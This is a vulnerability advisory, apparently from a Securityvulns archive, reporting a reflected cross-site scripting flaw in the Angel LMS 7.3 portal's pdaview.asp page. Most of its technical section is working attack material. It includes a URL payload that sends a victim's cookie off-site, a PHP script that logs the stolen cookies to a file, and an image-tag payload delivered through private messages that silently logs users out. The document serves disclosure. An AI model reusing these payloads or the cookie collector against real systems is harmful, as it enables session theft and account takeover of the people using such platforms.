Angel LMS Exploit

Type securityvulns
Reporter Securityvulns
Modified 2010-11-08T00:00:00


I have discovered a security exploit in Angel LMS 7.3

"Colleges and universities worldwide choose the ANGEL LMS to deliver powerful online teaching and learning experiences. ANGEL provides the comprehensive LMS features institutions need in a simple interface that promotes adoption. A recognized innovator, you can count on ANGEL to deliver on the promise of technology to improve education:"

Here are the relevant technical details.

Angel Learning Management 7.3 is vulnerable to a Cross Site Scripting exploit. This exploit allows the injection of arbitrary javascript through a URL parameter. This is a non-persistent exploit, meaning it is subject to a user controlled variable (the url parameter). This exploit can be used to steal the session data from the cookie of another user, and gain the privileges of that user.

This exploit can also be used in combination with "Cross Site Request Forgery". Meaning if the session data in the cookie was made HTTPOnly (which it isn't) then the exploit could be used to undergo any action of the privileged user regardless.


https://[Angel Root]/portal/pdaview.asp?p_TS= 85546&p_id=InTouchMail&pdaback=%22%3Cbody%20onload=alert%28%22pwnt%22%29;%3E?p_TS=85546

the second part un url-encoded: <body onload=alert("pwnt");>

Cookie Stealing:

https://[Angel Root]/portal/pdaview.asp?p_TS=85546&p_id=InTouchMail&pdaback="<script>document.location=""%2bdocument.cookie;</script>?p_TS=85546

(Note that the plus sign is url-encoded, or else it will not work)

Server code:


$pwnt = $_GET["cookie"]; $list = fopen('test.txt', 'a'); fwrite($list, $pwnt."\n"); fclose($list);


Image tag version with CSRF, this can be sent through the Private Message system and logs out the user who opens it:

<p><img width="0" height="0" src="/portal/pdaview.asp?p_TS=85546&amp;p_id=InTouchMail&amp;pdaback=&quot;&lt;body onload=document.location=&quot;https://[Angel Root]/signon/logout.asp&quot;;&gt;?p_TS=85546" alt="" /></p>

The script makes a GET request to the url containing the exploit, which then redirects the user to the logout url (which requires no verification). This is a contrived example because you could put the login url there directly, but it showcases the dangers of CSRF and XSS together, because of a lack of checking to see whether a request is legitimate (beyond the cookies of a user) and the fact that POST based requests can be automated using XSS means the only limit is your imagination. This example all happens without the user's knowledge, and without seeing anything but a blank message. If they try to open another message or do anything after, they will receive an error message.